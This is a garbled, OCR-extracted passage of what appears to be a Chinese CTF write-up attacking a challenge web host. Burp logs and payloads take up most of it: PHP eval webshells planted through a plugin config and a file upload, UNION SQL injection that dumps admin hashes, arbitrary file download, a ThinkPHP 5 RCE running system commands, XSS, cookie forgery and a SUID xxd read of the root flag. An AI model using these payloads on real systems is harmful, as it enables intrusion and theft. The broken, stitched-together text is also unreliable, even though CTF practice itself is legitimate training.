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HYBBS © 2016. All Rights Reserved.
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83| % 19 baobao123456789

Attack Save Columns 3. Intruder attack of www.bmzclub.cn - Temporary attack - Not saved to project file —

Results Target Positions Payloads Resource Pool Options

Filter: Showing all items

Request Payload Status Error  Timeout Length Comment
1 502 O O 727
128 baobao123456789 200 [ [ 553
0 200 U OJ 261
2 baobao 200 O O 244
3 baobao. 200 O O 244
4 BAOBAO 200 0 4 244
5 BAOBAO. 200 ] 0 244
6 admin 200 ) ) 244
7 admin. 200 O ) 244
8 ADMIN 200 O O 244
9 ADMIN. 200 O O 244
10 woaini 200 O O 244
11 woaini. 200 O O 244
12 WOAINI 200 O (1244

Request Response

Pretty lREWM Hex Render \n =

6 X—Powered—By: HYPHP
7 Set—Cookie: HYBBS HEX=



ViwXctCyvT jp%252Bzt%25252F44xvgJgdxobdedncswitwdtbZmuBewa/ | xqdGXJsu004%253D; pat
8 Set—Cookie: re_url=deleted; expires=Thu, 01-Jan—-1970 00:00:01 GMT; Max—Age=0; p
9 Content-Length: 90
10
11 {"error":true, "info":"\u767b\u5f55\ub6210\u529f !", "url":

"http:\/\/www. bmzclub. cn:22378\/"}
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@eval($_POST['g']1),//
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Linux 8860bb232478 4.19.0-6.ucloud #1 SMP Wed Feb 12 08:20:34 UTC 2020 x86_64

= QEELE—R 3 RIHAR
|r Irr VvVCIOIVIT J.VU. TV
BR
. [System
e Build Date

lan 31 2019 01:29:58

IConfigure Command
PISER

RRGH

./configure' '--build=x86_64-linux-musl' ‘--with-config-file-path=/usr/local/etc/php" '--with-config-file-scan-
dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash’ '--enable-ftp' '--enable-
mbstring' '--enable-mysqlnd’ '--with-curl' '--with-libedit' '--with-openss|' '--with-zlib' '--enable-fom' '--with-
fom-user=www-data’ '--with-fpm-group=www-data' '--disable-cgi' 'build_alias=x86_64-linux-musl’
'CFLAGS=-fstack-protector-strong '-fpic' '-fpie' '-O2" 'LDFLAGS=-WI,-O1 '-W|,--hash-style=both"' '-pie"

' CPPFLAGS=-fstack-protector-strong '-fpic' '-fpie' -02"

EBTE

IServer API FPM/FastCGI
irtual Directory Support disabled
IConfiguration File (php.ini) Path usr/local/etc/php

Loaded Configuration File

usr/local/etc/php/php.ini

ShTmEtIR Scan this dir for additional .ini files

usr/local/etc/php/conf.d

Additional .ini files parsed

usr/local/etc/php/conf.d/docker-php-ext-mysqLl.ini, /usr/local/etc/php/conf.d/docker-php-ext-mysqli.ini,
usr/local/etc/php/conf.d/docker-php-ext-pdo_mysqLl.ini

PHP API 20131106
PHP Extension 20131226
Zend Extension 220131226

[Zend Extension Build

IAPI220131226,NTS

PHP Extension Build

[API20131226,NTS

Debug Build no

[Thread Safety disabled
[Zend Signal Handling disabled
[Zend Memory Manager lenabled

[Zend Multibyte Support

provided by mbstring

IPv6 Support

lenabled

DTrace Support

disabled

Registered PHP Streams

https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar

Registered Stream Socket Transports

ltcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2

Registered Stream Filters

lzlib.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed,

[dechunk

[This program makes use of the Zend Scripting Language Engine:
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies

zendenging
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2 | ©im X 5T ~ conf.php
L | By omiac v <?php!
1 I return array (v
i | URLHE * http://127.0.0.1:8081/HYBBS2.3/Plugin/111/conf.php | 'name' => "111",@eval($_POST['g).//"}
)| EEEm Y g 'user' => "111',)
D s con =>
‘'mess' =>"111"4
RWIDEE UTF8 v version' => '1.0' 4
KT PHP v )
=) default (F3:45)
base64
chr -
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of oAb BEE ~

2.suid$E AL

ZIRE R A A rooti R I SUID K A] $iAT S




find / -user root -perm -4000 -print 2>/dev/null

( :/) $ find / —user root —-perm -4000 —-print 2>/dev/null
/usr/bin/xxd

( :/) 8

xxd /root/flag

) cat /root/flag

pen '"/root/flag': Permission denied

) xxd /root/flag
00000000: 424d 5a43 5446 7b30 3362 6630 6635 6637 BMZCTF{03bf0f5f7
00000010: 3339 3934 6133 6162 3533 6232 3763 3765 3994a3ab53b27cTe
00000020: 3432 3732 3534 337d Oa 4272543} .

( :/) s |}

{ :/) $ xxd /root/flag |xxd -r
BMZCTF{03bf0£f5£f73994a3ab53b27c7e4272543}

ZZwp: http://www.hackdig.com/11/hack-202888.htm
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Copyright © Sqlgun@gqg.com 2011. All Rights Reserved. sqlgunifiEl & E5%.
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sqlguni [l KA R4, XFBE N awdils, MW ERTULTFEIEH, ERERAZEM

& G ® A TE% | wwwbmzclub.cn:22378/sqlgunsearch.php

select id from news where title like '%admin%’

- Sqlgun e [ 50
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HWRIERIR, R—mysqBBI#E#, order byl Z %, £3%I

order by 3 -- -

# select id from news where title like '%' order by 3 -- -%'
# Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /var/www/html/sqlgunsearch.php
on line 32

BEEE A

1' union select 11,2,3 -- -

& C QA A T2 | wwwbmzclub.cn22378/sglgunsearch.php

select id from news where title like '%1" union select 11,2,3 -- -%'

Narning: mysqgl_num_rows() expects parameter 1 to be resource, boolean given in /var/www/html/sqlgunsearch.php on line 32
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1' union select 11,database(),3 -- -
# HHE sqlgunnews

1' union select 11,group_concat(TABLE_NAME,0x3c2f62723e),3 from information_schema.TABLES where TABLE_SCHEMA='sq
lgunnews'-- -
#EH RS admin, class, news, system

1' union select 11,group_concat(COLUMN_NAME,®x3c2f62723e),3 from information_schema.COLUMNS where TABLE_NAME='ad
min'-- -
#adminE K FBHid, admin, password

1" union select 11,group_concat(admin, ©x3c2f62723e,password),3 from admin-- -

# admin 21232f297a57a5a743894a0e4a801fc3

select id from news where title like ‘%1 union select 11,group_concat(admin, 0x3c2f62723e password),3 from admin-- %'
Warning: mysgl num_rows() expects parameter 1 to be resource, boolean given in /var/wwwy/htmi/sglgunsearch.php on line 32
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Request

Pretty lRC)YM Hex \n =

1_POST /salgunadmin/downlog. php?down|og=down&
filepath=%2Fflag HTTP/1.1
2 Host: www. bmzclub. cn:22378
3 Content-Length: 16
4 Cache—Control: max—age=0
5 Upgrade—Insecure—Requests: 1
60rigin: http://www. bmzclub. cn:22378
7 Content-Type: application/x—www—form—ur |encoded
8 User—Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, |ike
Gecko) Chrome/92.0.4515. 107 Safari/537.36
9 Accept:
text/html, application/xhtml+xml, application/xml
;9=0. 9, image/avif, image/webp, image/apng, */*;q=0
.8, application/signed—exchange;v=b3;9=0.9
10 Referer:

Request

Pretty IRENYM Hex \n

1 POST /sqlgunadmin/downlog. php?downlog=down&
filepath=/var/www/html/sqlgunadmin/downlog. php
HTTP/1. 1

2 Host: www. bmzclub. cn:22378

3 Content—Length: 16

4 Gache—Control: max—age=0

5 Upgrade—Insecure—Requests: 1

60rigin: http://www. bmzclub. cn:22378

7 Gontent-Type: application/x—www—form—ur lencoded

8 User—-Agent: Mozilla/5.0 (Windows NT 10.0;
Winb4; x64) AppleWebKit/537.36 (KHTML, Iike
Gecko) Chrome/92.0.4515.107 Safari/537.36

9 Accept:
text/html, application/xhtml+xml, application/xml
;0=0. 9, image/avif, image/webp, image/apng, */*;q=0
.8, application/signed—exchange;v=b3;q=0.9

0 Referer:
httn://www hmzelith en-22378/cal osiinadmin/down | ags

Response

Pretty IiEIWM Hex Render \n =

1 HTTP/1.1 200 OK

2 Server: nginx/1.14.2

3 Date: Thu, 06 Jan 2022 11:44:51 GMT

4 Gontent—-Type: application/octet—stream
5 Gonnection: close

6 X-Powered-By: PHP/5. 6. 40

7 Accept—Ranges: bytes

8 Accept—Length: 41

9 Content—Disposition: attachment;

filename=log. txt

10 Content-Length: 41
11
12 BMZCTF {b98a3583f5834629822b37ade5135780}
13

CSDN @shuZ
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Pretty REIWM Hex Render \n = >
filename=log. txt E

10 Content-Length: 863 ¢

11 g

12 <?php

13 if($_GET["downlog"]=="down") {

14 if (isset($_GET["filepath"])) {

15 $file_path=$ GET["filepath"];

16 $fp=fopen (§file_path, "r");

17 $file_size=filesize(§file path);

18

19

20
21

27

/000 e JODO0OOO0 e DI e L1000 "
(]° OOt

Header ("Content—type:
application/octet—-stream") ;

Header ("Accept—-Ranges: bytes");

Header ("Accept-Length:". §file_size);

Header ("Content-Nisnasition:



P~ ey s wrerave e

. html
1 Accept—Encoding: gzip, deflate
%ﬂgﬁ@@[ Search... o . o ‘ 0 matches
3.J5 & XXM kA& getshell
g iiedag 4R s EES
Hi- F- «T- |Ab ' B 7 U & | & |z

— e N merieerie e o e

attachment; filename=log. txt");

23 $buffer=1024;

hl‘fg}l [P ) Search.f o T | 0 mEteHashf*
= éE EE 3= ¥ X xzi b

w =¢ = - g:II:'\'.; ! -:‘I

SiERE || LAPER

JEmmia 20225 TH6H &R

(0 e SATESRAF: admin APfR: SEA » [P: 192.168.0.1» F%E: sqlgun® Email:

FERmEER NNERE

RARFIE AR~

[EEeiin)
Ll il b SRR

IS HrEPE:

{Ers e o BE x
RREEEE Hi- F- +T T B
FFBRERE

o IR e A sqlgunnews B &0 248
<&
WE |

123z

FERATHTEFME R EALE R0, IMEBHSUES Sphp
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B /AL BAE /sqlgunadmin/kindedit/attached/20220106/20220106115928 25178. php

Request

Pretty lREY'M Hex \n =

4 —————WebKitFormBoundaryWKnAlgkWiSSGc7Ss
5 Content—-Disposition: form—data; name="imgBorder"

70

8 ———— WebKitFormBoundaryWKnA | qkWiSSGc7Ss

9 Content-Disposition: form—data; name="url"

0

1 http://

2 —————WebKitFormBoundaryWKnA|qgkWiSSGc7Ss

3 Content-Disposition: form—data; name="imgFile";
Filenane

4 Content-Type: image/jpeg

5

6 <script language="pHp">@eval (§ POST['pass'])</script>

7 —————WebKitFormBoundaryWKnA|gkWiSSGc7Ss

8 Content—-Disposition: form—data; name="imgWidth"

Response

Pretty Raw Hex il =

‘Warning: date(): It is not safe to rely on the system’s timezone settings. You are *required™ to use the
date.tumezone setting or the date_default_timezone_set() function. In case you used any of those methods
and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the
tumezone UTC' for now. but please set date.timezone to select your timezone. in
fvar/www/html/sqlgunadmin/kindedit/php/upload_json.php on line 62

‘Warning: date(): Tt is not safe to rely on the system'’s timezone settings. You are *required™ to use the
date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods
and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the
timezone UTC' for now. but please set date.timezone to select your timezone. in

va oUNAG : B
{"error":0."url":"Vsqlgunadmn' kindedit\/php\/..\Vattached\/20220106'/20220106120742_64343 php%0a"}




0

11— WebKitFormBoundaryWKnA | qgkWiSSGc7Ss

2 Content-Disposition: form—data; name="imgHeight"
3

ZE#shell

< 22 \ (0 106.75.66.154
0O Hat43k (16)

4.XSS

htmW %8 1] LA #ixss

< | O cfhsE (19)

O v LR THIE # EAG N % -

S e R O I IV I I W I I W I P I W I T

<img src=1 onerror=alert(123)>

B
bin
dev
etc
home
lib
media
mnt
proc
root
run
sbin
srv
sys
tmp
usr
var
.dockerenv
flag
flag.sh

/

> i
=
2020-03-11 05:27:51
2022-01-06 11:38:42
2022-01-06 11:38:41
2019-01-31 00:20:38
2019-10-18 08:11:26
2019-01-30 02:55:44
2019-01-30 02:55:44
2022-01-06 11:38:41
2020-03-21 04:25:14
2019-10-18 08:13:13
2019-10-18 08:12:19
2019-01-30 02:55:44
2022-01-06 11:38:41
2022-01-06 12:07:42
2019-10-18 08:13:08
2019-01-31 01:32:04
2022-01-06 11:38:41
2022-01-06 11:38:41
2021-06-28 15:11:14
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IHERITT_ERYERATUAEE
123 F £

L]
[E MAIN MEHU — HEERAEP: admin EEF'A » |P: 192.168.0.1» BZFE%

HELHER Notice: Undefined index: action in /var/www/html/sqlgunadmin/modifynews.php on line 32

RARHTIE (E3ERE

1EGE <
Py— BN | |-FEER v
Wl

—— s | ARERET

)13

- HiER: R
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AARESE = e e
]| £ S A AU U Y = E E I = 9 e x
FFRREER Hi- F- +T ‘.;: T B 7 U &« g‘r’_ I B B - | )
1EH

<img src=1 onerror=alert(123) >|
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Z2%wp: https://blog.csdn.net/weixin_41652128/article/details/90290769

ThinkPHP

B R BB B “BLa PR K 22 A I 4% 22 48 1F 58 AWD $EHLE H

‘B J7wp : https://github.com/GinkgoTeam/YJTZB_2019/blob/master/thinkPHP/writeup.pdf
FawdiEHl, ARBHE, HSRAMAG IR AT LA T
1.TP5#y 4 4T
thinkphp53T payload

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[@]=system&vars[1][ ]=whoami

cat /flag.txtBiml

< C (A A T2 | wwwbmzclub.cn:22378/7s=index/think\app/invokefunction&function=call_user_func_array8vars[0] =system&uvars[1][]=whoami

www-data www-data



BHEWHE S BZ /adnin/ £RE| HEEFRAS!
St R admin/controller F fbase.php

Basephp X

YJTZB_2019-master > thinkPHP > application > admin > controller > Base.php

app\admin\controller;
think\Controller;
Base Controller

_initialize(){
if((cookie('csrf_token')!==md5( ' qwertyuiop'))&(!session( 'username’))){

->error(' t! ', 'Login/index");

if((cookie('csrf_token"')!==md5( " 'qwertyuiop"'))&(!session('username’

REM EcookieMi AU HEE T
Cookie: PHPSESSID=mtc249q73540t7f9pep2132e85;csrf_token=6eead9b7ef19179a06954eddof6cO5ceb

Forward Drop Intercept is on Action Open Browser Comment this item |

Pretty lR€l'@Ml Hex \n =

1 POST /admin/admin/edit. html HTTP/1.1

2 Host: www. bmzclub. cn:22378

3 CGontent-Length: 32

4 Gache—Control: max—age=0

5 Upgrade—Insecure—Requests: 1

60rigin: http://www. bmzclub. cn:22378

7 Gontent—-Type: application/x-www—form-ur|lencoded

8 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; xé4) AppleWebKit/537.36 (KHTML, |ike Gecko)
Chrome/92. 0. 4515. 107 Safari/537.36

9 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0. 8, a
plication/signed—exchange;v=b3;q=0. 9%

10 Referer: http://www. bmzclub. cn:22378/admin/admin/edit. html

11 Accept—Encoding: gzip, deflate

12 Accept-Language: zh—-CN, zh;q=0. 9

13 Cookie: PHPSESSID:mt0249q73540t7f9pep2I32e85;csrf_token:6eea9b7ef19179a06954edd0f60050e&

14 Connection: close

15

16 id=1&username=admin&password=123




ED www.bmzclub.cn:22378/admir X +
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o David Stevenson
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Search Reports, Charts, Emails or Notifications
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BEFETET X +
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B0, ERXMHEHREIIRE, HEA % RRFET g

ek, IBIRR R ARG

SRR

iS4

=

, application/signea—excnange;v-pJ;q-u. Y

Referer:

http://www. bmzclub. cn: 22378/ index. php/index/inde
x/index. html

Accept—-Encoding: gzip, deflate

Accept—-Language: zh—CN, zh;g=0. 9

Connection: close

—————— WebKitFormBoundarykGJOesk6inET | 7tB
Content-Disposition: form—data; name="image";
filename="a. phtml|%0a"

Content-Type: image/jpeg

HWHh RS

201985 RFHESABE “BL BB K22 P 4% 22 438 iE 38 AWD #LHLE H

A 2% | bmzclub.cn:22378/admin/admin/edit.html
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Lmrir/ 1. 1 LUy UN

2 Date: Fri, 07 Jan 2022 08:16:12 GMT

3 Server: Apache/2.4.18 (Ubuntu)

4 Content—Length: 27

5 Connection: close

6 Content—Type: text/html; charset=utf-8
7
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Q  EEANENEFE

G ERNEED

HEwww.zip P 335 &4

_ log.php | 22-01-10 20-30-24

!403 291B http://www.bmzclub.cn:22378//include/.
200 600KB http://www.bmzclub.cn:22378//www.zip!
301 324B http://www.bmzclub.cn:22378//include!
301 323B http://www.bmzclub.cn:22378//publicl
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KRIHFAEMog.php, iEFiiHEHE

< www 3 > html v D P EE html
A A EIR ) L e S
o commaon 2020/10/1 16:22 pvgL: e

» include 2020/10/1 16:22 S {sk



o lib 2020/10/1 16:22 M fs
org 2020/10/1 16:21 g linscs
public 2020/10/1 16:21 prglimaes
templates 2020/10/1 16:21 prelites
geez.sql 2020/10/1 16:21 SQL Mt 2 KB
index.php 2020/10/1 16:21 PHP 324 1 KB
2020/10/1 16:21 PHP 3244 9 KB
supervisord.conf 2020/10/1 16:21 CONF 32{t 1KB

rsonal CSDl
dede SN2 i =
log.php | 22-01-10 20-30-24

IP 172.17.135.65 url:http://172.17.135.55:8000/ Gets:[] POST:[] COOKIE:{"PHPSESSID":"impiut3lg2al2pga7ms0058e6i"}HEADER: {
IP 172.17.135.65 url:http://172.17.135.55:8000/ Gets:[] POST:[] COOKIE:{"PHPSESSID":"impiut3lg2a12pga7ms0058e6i"}HEADER: {
IP 172.17.135.65 url:http://172.17.135.55:8000/ Gets:[] POST:[] COOKIE:{"PHPSESSID":"impiut3lg2a12pga7ms0058e6i"YHEADER: {
{
{
t

IP 172.17.135.65 url:http://172.17.135.55:8000/ Gets:[] POST:[] COOKIE:{"PHPSESSID":"impiut3lq2a12pga7ms0058e6i"YHEADER:
IP 172.17.135.65 url:http://172.17.135.55:8000/ Gets:[] POST:[] COOKIE:{"PHPSESSID":"impiut3lg2a12pga7ms0058e6i"}HEADER:
IP 172.17.135.4 url:http://172.17.135.55:8000/ Gets:[] POST:[] COOKIE:{"PHPSESSID":"308d7bas7sifpcbglhncr3hgh0"}HEADER: {

3 csoi

HEEG#E

Pt A b SN b b Ay IS b 1 e Ll 17 3T £ 41 T o 1 2 | LTt

= al Jt&E  IBHlE  Recorder & RS MEE NE KNS A 1S Lighthouse ~ HackBar  EditThisCookie

LOAD SPLIT EXECUTE TEST ~ sQLl - XSS ~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://www.bmzclub.cn:22378/index.php

enctype
. Enable POST application/x-www-form-urlencoded v ADD HEADER

Body
a=<?php eval(@$_POST[a]); ?>

Ccsor

X LA UAE BRI BT

C A A =2 | view-sourcewwwbmzclub.cni22378/log.php s @ O3 1=

(] COOKIE: ("Him_lvt ¢ d?a@bsaadsaaozemafbexeb11339abd

serfa-register Gets: (¢

+”1641540300, 1641789429, 1641805514, 1641816651”, “session”: “a15c2841-dbe0-4e86-b935-41380475datc”, “Hn_lpvt d7a3b863d5a302676afb986b11339abd “1641816659" )HEADER {"HTTP_HOST”
[] COOKIE: ["Hn vt d'razbsazdmozmsafbeaehnmabu’ '1641540300 1641789429, 1641305514, 16418166517, “session”: " ‘Ha_lpvt_ 1330ab” " 1641816850”,
: : (“Hn_Lvt_c d7a3b863d5a30267ﬁafb986b11339a 641540300, 1641789429, 164130551 , 1641816851", “session”: “a15c2841-dhel- 4986 935-413844755
PHin 11+ 47230B63054202676atbeBen 11320300 “1641540300, 1641789426, 1641805514, 1641816651”, “session”: pvt_
a15c2841-dhe0-4o86-b335-4138a475 at ", HJILlPVL d?a&b%@dSaSOZ&?ﬁafbeB&b1meabd mmaes? “PHPSESSI
son’:"a d” '1641816&5‘3', “PHPS
“1641540300, 1641789425, 1641805514, 1641816651”, “session”:"al5c2841- 4be0-4eB0-b935-4138d475datc”, “Hn Lpve._ d733b863d5a302676afb286bllSKBabd mmaas@ “PHPSESSI
leEGZdSaZOZGHufbeSGblISSBahd” ”1641540300, 1641789420, 1641805514, 1641816651”, “session’:"a “Hn_Ipv- 11329abd”: “ 164181665
5 url:http://ww. brzclub. en: 22378 /index. "e” s r/, updacepass”) POST (“passwnrd } COOKIE: {"Hm_lvt_d7a3b863052302676atbeB6b11339abd" : 1641540300, 1641789428, 1641805514, 1641816651", “session” 15(:2841 Abe0-4e86-5035- 413m475dafc ’, “Hn_lpvt ¢ d?a3b863d5a302676afb286b11
5 url:htp:/ /s, brzclub. en:22378/index. {“password” ) COOKIE: [“Hin_Lvt_d7a3b863d5a302676a1bag6b11338abd" :“ 1641540300, 1641780429, 1641805514, 1641816651, “session’

IS "y, brzclub. cn: 22378", “HTTP_USER_
5
5
5
5
5 0ST: b
3 url:http://swmw. bnzclub. cn:22378/index. :“updatepass”} POST: [] COOKIE: ("Hm_lvt. 7235863d5a302676atbeB6b1133%abd”: 1641540300, 1641789429, 1641805514, 1641816651, “session”:"215c2841-dbe0-4eB6-! bBKS 4138d475datc”, “Hn_Ipvt_ 7358634523026 762 £beBEb 11339abd”: 164181665
5
5
5
5
5

1z hu //u-ww bnzclub. cn:22378/ Gets: (] POST:

5 url:hup / /s, bmzelub. en: 22378/)ndex.
5 url:http:/ /s, bzclub. cn:22378/index.
3 wrL i tp: /o bzl cn: 22378/ incox.
5 url:htp://fww. brzclub. en: 22378 /index.
5 url:http://ww. brzclub. en: 22378 /index.
5 url:htp://fww. brzclub. en: 22378 /index.

5 urlihtp:/ /s, brzclub. en: 22378 /index. +“home”} POST: [] COOKIE: {"Hn_lvt_d7a3b63d5a302676a beB6b11230abd” : “ 1641540300, 1641789429, 1641805514, 1641316651”, “session”: “al5c2841-4be0-4eB6-b035-4138d475datc”, “Hn_Lpvt_d7a3bB63d5a302676abeB6b11330abd” : ”164181665‘3” “PHPSESST
5 url:http:/ /. brzclub. en: 22378 /index. home"} POST: [] COOKIE: {"Hn_1vt_d7a3b863d5a302676a1beB6b1133%abd " “ 1641540300, 1641789429, 1641805514, 1641816651", “session”: “albc2841-4be0-4e86-b936-4135d475dat c”, “Hn_Lpvt_d7a30863d5a302676azbe8bb1133%ab 41816659”, “PHPSESST
5 url:http: /s, brzclub. en: 22378 /index. +“upload”) POST:[1 COOKIE: [Hn_Lvt_d7a3b863d52302676abeB6b11338abal": /1641540300, 1641780426, 1641805514, 1641816651", “ssssion’ :“a15c2841-dba0-4eB6-b035-4138d475dazc”, “Hn_Tpvt_ d7a3b862d5a?ﬂ%?ﬁnfbs&&hlll?‘?ubd” 1641816659, “PHPS

url :http: / /. bmzclub. en: 22378 /index. ome"} FUST [J COOKIE: {"Hin_Lvt_d7a3b863d5a302676a0eB6b11339abd” : “1641640300, 1641789429, 16418055 14, 1641816651”, “session’:“al5c2541-4be0-4eB6-b935-4138d475datc”, “Hn Lpyt_d7a3b863d5a302676atbeBtb11330abd " : " 1641816659", "PHPSESST
5 urlhtp:/ /s, brzclub. cn:22378/index. phpfc

url :http: / /. buzclub. en:22378/ Gets:
:22378/index.
122378/ Gets:

=Userta= rag)s er ="} POST: [] COOKIE: ["Hn_1vt_d7a3b863d5a302676a£boB6b11330abd "¢ ‘1641540300 1641789429, 1641805514, 1641816651, “session”: “al5c2841-dbe0-4e86-b035-4138a475dat <", “Hn_Lpvt_d7a2b863d5a302676acbed6b11330aba”: 1641816659, *

1 coor ("Hm vt ¢ d7aKbBGZdSaKUZﬁ?ﬁarbeSﬁbl133‘3abd +"1641540300, 1641789429, 1641805514, 1641816651", “session” : "2 15¢2841-4be0-4e86-b935-4138d475datc”, “Hn_Lpvt_d7a3863d52302676a1be86b 11339abd " ; '1641816659", “PHPSESSID
serka= lﬂg)n Gota: ['e”:“Usex”, “a”:“Login”) POST: (usernams” : “admin’, “password”: “adnin’) COOKIE: ("Hn_lvt_d7a3b863d54302676atbegbb11330abd”: 1641540300, 164179428, 1641305514, 1641816651, “session”: “a15c2841-dba0-4o86-bo35-4138a475datc”,
000t ("Hm o, 7a3bxaan5axozavﬁarbexab11339abd” 1641540300, 1641789429, 141805514, 1641816651, “session”: "al5c2841-4be0-4eB6-b935-41380475dasc”, “Hn_Lpvi_d7a3bB63d5a302676a1beBbb11339abd " 1 1641816659, “PHPSESSID”: "1 3qst sbek jebncutye Lntrbletd
:22378/index. php? &a=login Gets: (“c”:“User’ in") POST: ["username”:“adnin”, “password”:“adnin123") COOKIE: {Hn_Lvt_d7a3b863d5a302676atbe86b11330abd”: 1641540300, 1641789423, 1641805514, 1641816651", “session”: “a16c2841-4be0-4e86-b936-4138a475datc”, “Hn_Lpvt_ d7-2b863d5n201
22978/ Get: 1 POST: (1 COOKIE: (' iv. n7axbxaanSaxozavﬁarbexabl1339abu”,”1641540300 1641789429, 1641805514, 1641816651", “session”: " 15¢2841-4be0-4e86-b935-4138d475dazc”, “Hin 1pvt_d7a3b863d5a302676a1beBEb11339abd”: “1641816659", “PHPSESSID” :“i3qsbkak jebneutve lntrbZetd”) HEADER: ["HT
i +“User”, “a”: “register”) [ COOKIE: [“Fin_1vt_d7a3b86345a302676abe8b11339abd "< 1641540300, 1641789420, 16418055 14, 1641216651", “session’ :“al5c2841-dbe0-deB6-b035- 41380475datc”, Hm L 1pvt_d7a3b8635a3026 7batbed6b1 1330aba” < 1641816659, =
50 ['c”: "User”, “a” “register”) POST: [] COOKIE: ['Hn lvt d7a3b8635a302676atbe36b11338abe”: "Lo41540300, 1641789420, 1641805514, 1641816651”, “session”:"a 1pvt _c 339abd” : “1641816659”, “PH
: : (”Hrw HOST”:”106. 75. 66. 154:22375"), “HTTP_USER_AGENT” : Mozi 11a\/5.0 (Vindows NT 6. 1) ApploVebkit\/537.36 (RHTIL, 1ike Gecko) Chirome\/28.0. 1468.0 Saferi\/537. 36", “"HTTP_ACCEPT" : "#\/+", ”HTTP _ACCEPT_ENCODING”: ’manuw “HTTP_ACCEPT_LAGUAGE” : "¢
122378/ Gets: [] Pusr [] COOKIE: [JHEADER: (“HTTP_HOST”:”106. 75. 66. 154:22378", “HTTP_USER_AGENT”: ”ﬂlnzllla\/S 0 (Vindows NT 6.1) AppleVebKit\/637.36 (KHTIL, like Gecko) Chrome\/28.0.1468.0 Safari\/537.36", “HTTP_ACCEPT":"#\/+", "HTTP_ACCEPT_ENCODING”:”identity”, “HTTP_ACCEPT_LANGUAGE":"e
106, 75. 66. 154122378/ index. php Gets:[) POST: CDOK!E l”PWSESSm “ftrmdchi 2mi jad3n0k6kon21r4 T HEADER: {“HTTP_HOST”:”106. 75. 66. 154:22378", “HTTP_USER_AGENT”: “Nozi11a\/5.0 (Vindows NT 6.1) ApplEVEbKn\/537 36 (KHTHL, 1ike Gecko) Chmme\/zx 0 1468 0 Satari\/537, 367, ”H’ITP ACCEPT</#\/2%, *¥TTP ACCE
. cn:22378/index. php?c=UserSa=register Gets: ("c”:"User”, “a”:"register”) POST:[] COOKIE: ["Hn_1vt_ ﬂ7aKb363ﬂ5a302676a1b98hb1lSS‘Zabd” 1641540300, 1641789429, 1641805514, 1641816651”, “session” 11339abd”: 16418166597, “PH
" ni22375/ Gover ] POSTL0) COOKIE: (" H“Lm d7a2b863d5a202676uba£6bllezeabd“ 2 13qsbkaszbncusglh&rb?sté “|HEADER: (‘HTTP
. cn:22378/index. phy ln
. cn:22378/index. < U 1641816659”, “PHPSESSTD”
. en:22378/index. php?c=Userga=home Gets: [“c” ”uSer”, ”a':”hnme “) POST:[] COOKIE: [“Hn_lvt_d7a30863d52302676abe8bb11330abd": 1641540300, 1641789429, 1641805514, 1641816651", “session’:"a , “Hn_lpv' 11339abd”:“1641816659”, “PHPSESSID”
. n:22378/ Gets: (] POST: (] COOKIE: ("Hn_lyt. d7a2b862d5a202676a[beﬂ6bl1239abd 1641640300, 1641789420, 1641805514, 1641816651”, “session”:"a15¢2841- 4be0-4e86-b035-4138d475dafc”, “Hn Ipvt_d7a3b863d5a302676a1be86b11330abd '164121665’3“ “PHPSESSID: i 3asbkak jebricutve Ihtrbostd” HEADER: [‘HTTP
. en:22378/index. phy = : KIE: ('Hin_Lvt_7a30863d52302676atbegth 11330aba:” 1641540300, 1641789429, 1641805514, 1641816651, "session”: 2 “Hn_1pv 11839abd” :71641816659”, “PHPSESSID”
. cn:22378/index. “1641540300, 1641789429, 1641305514, 1641816651”, “session”: alscz841—4beu—498e—b935—4128d475datc f HvlLlth d7a25862d5a202676a(b926bll?ZBabd 71641816650", “PHPSESSI
. en:22378/index. “1641540300, 1641789429, 1641805514, 1641816651, “session’:"a “Hn_1pvt_ 1339abd”:“1641816659", “PHPSESST
. cn:22378 /ind

1641540300, 1641789429, 1641805514, 1641816651”, "o /v”a15c2841 oel-4086-0935-4138a475datc”, H.lelpvt A7a36863053302676atbeBth 11339abd " “1641816659", “PHPSESSID”

b 1 agin

:22378/index.

1641540300, 1641789429, 1641805514, 1641816651 | “session”:”a15c2841-dbe0-4e86-b035-4138d475datc”, “Au_lpvt_ d7a3b8!72d5=302676afb986b11329abd” ’1641216659”, ”PHPSESSID” i

ST: (“usernane”:"122”, “password”: “adnin’) COOKIE: ("Hin_1yt_d7a3b863d5a302676afbeB6b113309abd": “1641540300, 1641789420, 1641805514, 1641816651", “session”:"a 1pvt_c
me") POST: [] COOKIE: {“Hn 1vt d7a3b862d5a30267batbeEﬁbllRS‘?abd 71641540300, 1641789429, 1641805514, 1641816651”, “session’”: "a15c2841-4be0-4eB6-b935-4138d475datc”, H.w\Jth d7a?b863d5a202676afb986bl1329abd




°LOTU S/ Wk, DIZCLUD. G 44510/ LIGS, PO C-USSISA-aQILN VTSI | € § USET , a : admin j ruslill WUBLD: (25D00SAPASUL0 (DATDEEOD1L53YADA : LO4LOUUSUY, L0%LIBI4LY, LOR1GUDD 14, 1041610001 , Sess1on
wlihttp: . php?K3CTphp%20eval (83_POST [a]) ;$20743E Gets: {"<7php_sval (03 POST’ J} POST: [] COOKIE: {"Hm_Lyt_d7a3b863d52302676a1be86b11339abd
lihttp: +[1 POST: [] COOKIE: [JHEADER: ["HTTP_HOST”:“ww. bmzclub. cn:22378", AGENT”: “Nozi 11 (Windows NT 10.0; Vin64; x64) AppleWebKit\/537. 36
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("PHPSESSID”: "h0v jdinr2p513nvobaqut Lrphp?”) HEADER:  {“HTTP_HOST”"
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)

e bz
1 thttp://w. bnzclub. cn:22378/index. php?%3CTphpk20eval (@3_POST[a]) ;4207%3E Gets :
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